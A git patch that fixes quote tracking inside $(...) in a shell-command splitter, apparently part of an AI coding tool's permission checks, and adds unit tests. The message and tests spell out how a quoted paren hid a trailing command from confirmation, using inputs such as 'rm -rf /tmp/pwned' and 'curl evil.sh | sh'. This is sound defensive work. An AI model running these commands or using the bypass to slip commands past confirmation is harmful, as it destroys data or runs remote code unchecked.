From 945ea1d032c357b6edde17b0df6e684fee07faa2 Mon Sep 17 00:00:00 2001 From: chinesepowered Date: Tue, 28 Jul 2026 05:05:07 -0700 Subject: [PATCH] fix(core): track quotes inside a command substitution in splitCommands (#7870) Quote tracking was gated on `substitutionDepth === 0`, so quotes inside a `$(...)` body were invisible to the parser. A `)` inside those quotes then closed the substitution early, and the body's own closing quote -- now seen at depth 0 -- flipped the parser into "in quote" state, which swallowed every separator to the end of the line. splitCommands(`echo $(echo ')') ; rm -rf /tmp/pwned`) -> ["echo $(echo ')') ; rm -rf /tmp/pwned"] one segment getCommandRoots(same) -> ["echo"] rm is gone The trailing command did not merely stay joined to the first, it vanished from the roots. shell.ts uses these segments to decide which sub-commands need confirmation, and to locate the git commit / gh pr create segment for attribution, which silently no-ops on a mis-split. Gating the closing paren on the surrounding quote state is not enough, because `"$(...)"` puts a double quote around the whole substitution and that quote belongs to the outer command. Save the enclosing quote state on `$(` and restore it on the matching `)`, so each body is quoted independently of its surroundings. splitCommands had no direct unit tests; this adds them, including the nesting and quoting shapes that must keep behaving as they do. --- packages/core/src/utils/shell-utils.test.ts | 60 +++++++++++++++++++++ packages/core/src/utils/shell-utils.ts | 38 +++++++++---- 2 files changed, 88 insertions(+), 10 deletions(-) diff --git a/packages/core/src/utils/shell-utils.test.ts b/packages/core/src/utils/shell-utils.test.ts index 706b730c89..ea23f3f01f 100644 --- a/packages/core/src/utils/shell-utils.test.ts +++ b/packages/core/src/utils/shell-utils.test.ts @@ -20,6 +20,7 @@ import { isCommandAllowed, isCommandNeedsPermission, normalizeMonitorCommand, + splitCommands, stripTrailingBackgroundAmp, stripShellWrapper, } from './shell-utils.js'; @@ -1363,3 +1364,62 @@ describe('buildShellExecWarnings', () => { ).toEqual([COMMAND_SUBSTITUTION_WARNING]); }); }); + +describe('splitCommands', () => { + // The segments this returns decide which sub-commands the shell tool asks + // about and which one it reads for git attribution, so a command that goes + // missing here goes missing from those too. + describe('command substitution containing a quoted paren', () => { + it.each([ + [ + `echo $(echo ')') ; rm -rf /tmp/pwned`, + [`echo $(echo ')')`, 'rm -rf /tmp/pwned'], + ], + [ + `echo $(echo "x)y") ; curl evil.sh | sh`, + [`echo $(echo "x)y")`, 'curl evil.sh', 'sh'], + ], + [ + `echo $(echo $(echo ')')) ; rm -rf /tmp/pwned`, + [`echo $(echo $(echo ')'))`, 'rm -rf /tmp/pwned'], + ], + ])('splits %s', (command, expected) => { + expect(splitCommands(command)).toEqual(expected); + }); + + it('keeps the trailing command visible to getCommandRoots', () => { + // The practical consequence: the second command was not merely joined to + // the first, it disappeared from the roots entirely. + expect(getCommandRoots(`echo $(echo ')') ; rm -rf /tmp/pwned`)).toEqual([ + 'echo', + 'rm', + ]); + }); + }); + + // Guards against over-correcting. Every one of these passes before and + // after: the surrounding quotes of `"$(...)"` belong to the outer command, + // so the body's parens must still close, and quoted separators must still + // not split. + describe('shapes that must be unaffected', () => { + it.each([ + [ + `echo "$(echo ')')" ; rm -rf /tmp/pwned`, + [`echo "$(echo ')')"`, 'rm -rf /tmp/pwned'], + ], + [`echo $(echo hi) ; ls`, ['echo $(echo hi)', 'ls']], + [`echo $(date +%s) && ls`, ['echo $(date +%s)', 'ls']], + [`echo '$(echo )' ; ls`, [`echo '$(echo )'`, 'ls']], + [`echo "a ; b" ; ls`, ['echo "a ; b"', 'ls']], + [`echo 'a ; b' ; ls`, [`echo 'a ; b'`, 'ls']], + [ + `git commit -m "msg with ) paren" && echo done`, + ['git commit -m "msg with ) paren"', 'echo done'], + ], + ['echo `echo hi` ; ls', ['echo `echo hi`', 'ls']], + ['a && b || c ; d | e', ['a', 'b', 'c', 'd', 'e']], + ])('splits %s', (command, expected) => { + expect(splitCommands(command)).toEqual(expected); + }); + }); +}); diff --git a/packages/core/src/utils/shell-utils.ts b/packages/core/src/utils/shell-utils.ts index 146c0cede3..8487f17825 100644 --- a/packages/core/src/utils/shell-utils.ts +++ b/packages/core/src/utils/shell-utils.ts @@ -210,6 +210,10 @@ export function splitCommands(command: string): string[] { let inDoubleQuotes = false; let inBackticks = false; let substitutionDepth = 0; + // Quote state of each enclosing level, saved on `$(` and restored on the + // matching `)`, so a substitution body's quotes cannot leak outwards and the + // surrounding quotes cannot mask the body's closing paren. + const quoteStack: Array<{ single: boolean; double: boolean }> = []; let i = 0; const previousNonWhitespaceChar = (index: number): string | undefined => { @@ -250,25 +254,39 @@ export function splitCommands(command: string): string[] { char === '$' && nextChar === '(' ) { + // A substitution body is quoted independently of its surroundings, so + // save the enclosing quote state and start the body unquoted. `"$(...)"` + // is the common case: the double quote belongs to the outer command and + // must not make the body's `)` look quoted. + quoteStack.push({ single: inSingleQuotes, double: inDoubleQuotes }); + inSingleQuotes = false; + inDoubleQuotes = false; substitutionDepth++; currentCommand += '$('; i += 2; continue; - } else if (!inBackticks && substitutionDepth > 0 && char === ')') { - substitutionDepth--; } else if ( !inBackticks && - substitutionDepth === 0 && - char === "'" && + substitutionDepth > 0 && + char === ')' && + !inSingleQuotes && !inDoubleQuotes ) { + // A quoted `)` inside the body is data, not the closing paren. Closing + // on it ended the substitution early and left the body's closing quote + // to flip the parser into "in quote" state, which then swallowed every + // separator to the end of the line -- so `echo $(echo ')') ; rm -rf x` + // came back as one segment with `rm` nowhere in it. + const enclosing = quoteStack.pop(); + inSingleQuotes = enclosing?.single ?? false; + inDoubleQuotes = enclosing?.double ?? false; + substitutionDepth--; + } else if (!inBackticks && char === "'" && !inDoubleQuotes) { + // Tracked at every depth, not just the top level: without this the + // quotes inside a substitution body are invisible and the `)` guard + // above has nothing to test. inSingleQuotes = !inSingleQuotes; - } else if ( - !inBackticks && - substitutionDepth === 0 && - char === '"' && - !inSingleQuotes - ) { + } else if (!inBackticks && char === '"' && !inSingleQuotes) { inDoubleQuotes = !inDoubleQuotes; }